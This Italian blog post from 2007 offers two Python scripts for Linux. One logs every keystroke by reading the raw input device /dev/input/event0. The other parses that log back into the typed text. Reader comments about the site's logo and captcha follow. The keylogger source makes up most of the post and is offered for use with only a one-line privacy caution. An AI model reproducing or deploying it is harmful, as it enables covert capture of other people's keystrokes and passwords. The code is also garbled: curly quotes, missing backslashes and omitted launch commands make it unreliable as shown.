Post Meta
-
Indietro
-
May 19, 2007 -
Linux -
6 Comments
-
Letto 435 volte
-
Comments Feed -
Stampa questo Post
19th
MAY
Keylogger in python per linux
Posted by RedSend | Filed under Linux
Due script per effettuare il keylogger sulla proprio linux-box.
Prima di lanciare gli script, assicurarsi che il modulo evdev sia incluso nel kernel oppure che sia compilato come modulo, in questo caso bisogna caricarlo con:
Passiamo agli script.
keylog.py
DEV = ‘/dev/input/event0′
#if event0 doesn’t work, try event1
#DEV = ‘/dev/input/event1′
fo = open(DEV)
def interpret(keycode,state):
if state == 0:
print ‘%i up’%keycode
if state == 1:
print ‘%i down’%keycode
if state == 2:
print ‘%i repeat’%keycode
while 1:
line = fo.read(16)
if ord(line[10]) != 0:
keycode,state = line[10],line[12]
interpret(ord(keycode),ord(state))
Questo script effettua il log di tutti i tasti premuti sulla tastiera, recuperando queste informazioni dal device /dev/input/event0, come viene commentato anche nello script nel caso non dovesse funzionare cambiate il dispositivo inserendo quello giusto.
Per lanciare lo script date il comando
in questo modo nel file keys.logfile avremo tutte le informazioni…
Il secondo script invece viene utilizzato per fare il parsing del file prodotto da keylog.py e visualizzare le informazioni in maniera comprensibile all’uomo non dotato di particolare poteri matrixiani.
keylog_read.py
import re
import os
import sys
dumpkeys = os.popen(’dumpkeys’).readlines()
keyre = re.compile(’keycode[s]*([0-9]*) = ([S]*)’)
dict = {}
for line in dumpkeys:
result = keyre.search(line)
if result:
keycode,char = result.groups()
dict.update({keycode:char})
fo = open(sys.argv[1])
lines = fo.readlines()
def interpret(char,state):
sdict = {’Meta_greater’:’.’,
‘Meta_less’:',’,
‘Meta_Control_m’:'n’}
odict = {’Meta_nul’:’ ‘}
if len(char) == 1:
if state != ‘upn’:
return char
elif sdict.has_key(char):
return sdict[char]
elif odict.has_key(char):
if state != ‘upn’:
return odict[char]
else:
if state == ‘upn’:
return ‘%s>‘%char
elif state == ‘downn’:
return ‘<%s>‘%char
return ”
for line in lines:
keycode,state = line.split(’ ‘)
char = dict[keycode]
sys.stdout.write(interpret(char,state))
Per lanciare lo script date il comando
Lo script dovrebbe visualizzarvi tutti i caratteri digitati, con tanto di tag nel caso di caratteri speciali, come in questo esempio…
hat the interpreted stuff looks like..
t in right here now
Nel caso vi dia un errore, come è capitato a me, è perchè il file keys.logfile contiene nella prima riga dei caratteri strani, quindi aprite il file e cancellate la prima riga e ridate il comando. Tutto dovrebbe funzionare…
Mi raccomando di utilizzare questi script nel rispetto della privacy altrui
Link:
http://forums.gentoo.org
ps: grazie a kgraehl
Tags: Linux


porca miseria…sai che cercando su google “bel logger” ho trovato il tuo “bel logo”!
google ne sa!
ora questo sito è davvero accattivante!
Si sai lo ha fatto un mio caro amico… un tipo strano a cui piace certa musica strana… un tipo molto rap
cmq grazie del complimento, lo rigirerò al mio amico
Ottimo script!! come al solito sono sotto win (questa è l’ora che sono sotto win) quindi non posso provarlo. Ma ti GIURO che presto o tardi li provo TUTTI!!!
Vediamoci in giro….
ah mi piaceva di più il vecchio logo! con tutto il rispetto per l’amico rap :p
—è la quarta volta che inserisco il captcha.
Cercherò di migliorare il captcha, anche se non mi sembra una cosa molto difficile inserire 5 lettere tutte in maiuscolo…
comunque se mi dici i problemi che riscontri quando lo inserisci mi aiuti a capire cosa non và …
ciao miky
ps: una volta l’ho sbagliato anche io :-), riproviamoci…
con calma ti dirò che non capisco quando è 0 e quando è O;
sta scritto che è case-sensitive e certe volte le lettere più piccole mi fanno pensare che sia minuscolo, solo ora mi dici che è tutto maiuscolo UAAAAAA!!!!
Ma che cms stai usando tu? lo sai che per questi cacchio di blog sto andando un po’ zonzo cercando di carpire il segreto del migliore…
Michele
Hmmmmmmm ;